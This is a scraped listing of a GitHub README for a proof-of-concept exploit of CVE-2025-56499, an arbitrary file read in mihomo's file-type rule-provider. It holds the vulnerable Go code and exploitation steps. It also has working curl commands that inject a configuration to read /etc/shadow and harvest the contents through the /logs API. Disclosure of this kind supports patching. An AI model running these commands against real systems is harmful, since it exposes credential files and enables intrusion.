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Tools/GitHubGitHub/cherrling/cve-2025-56499
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GitHubcherrling/cve-2025-56499

CVE-2025-56499

Proof-of-concept exploit for CVE-2025-56499, demonstrating arbitrary file read via missing path validation in mihomo's rule-provider configuration, with log-based data exfiltration.

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461 year agoNot yet reviewed

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CVE-2025-56499

Arbitrary File Read via Missing Path Validation in Local Rule Provider

Upstream Fix: https://github.com/MetaCubeX/mihomo/pull/2177

Affected Versions: mihomo <= v1.19.11

Summary

When parsing rule-providers configuration, the type = "file" branch fails to validate the supplied path. An authenticated attacker controlling schema.Path can point the provider to any readable local file. Because most arbitrary files do not conform to the expected rule format, parsing errors (including substantial file content fragments) are emitted into the in-memory logs and exposed through the /logs API. Since mihomo often runs with elevated (root / administrator) privileges, this results in high-impact information disclosure.

Type & Root Cause

  • Type: Arbitrary file read / missing path validation.
  • Direct Cause: In rules/provider/parse.go, the schema.Type == "file" case only invokes C.Path.Resolve() and never enforces C.Path.IsSafePath() or any equivalent whitelist / sandbox constraint.
var vehicle P.Vehicle
switch schema.Type {
case "file":
    path := C.Path.Resolve(schema.Path)
    vehicle = resource.NewFileVehicle(path)
case "http":
    path := C.Path.GetPathByHash("rules", schema.URL)
    if schema.Path != "" {
        path = C.Path.Resolve(schema.Path)
        if !C.Path.IsSafePath(path) {
            return nil, C.Path.ErrNotSafePath(path)
        }
    }
    vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
    return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
    return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}

File branch deficiencies:

  • No path normalization + safety boundary enforcement.
  • Allows absolute paths referencing sensitive system locations.

Exploitation Flow

  1. Attacker polls or streams /logs to capture parser error output.
  2. Attacker submits a crafted configuration via /configs embedding a malicious rule-providers entry with type = file and target file path.
  3. Service attempts to parse the file as rule data → fails → emits error + content fragments into logs.
  4. Attacker harvests leaked data; repeats to broaden coverage or refine extraction.

PoC

Listen for logs (example token Bearer 123):

curl -X GET "http://localhost:9999/logs" \
  -H "Authorization: Bearer 123"

Inject configuration to read /etc/shadow:

curl -X PUT "http://localhost:9999/configs" \
  -H "Authorization: Bearer 123" \
  -H "Content-Type: application/json" \
  -d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'

Unescaped payload:

{
  "log-level": "debug",
  "external-controller-unix": "mihomo.sock",
  "rule-providers": {
    "pwn": {
      "type": "file",
      "behavior": "classical",
      "format": "text",
      "path": "/etc/shadow"
    }
  }
}

Result: Parse failure lines in /logs contain fragments of /etc/shadow (example screenshot): PoC Partial

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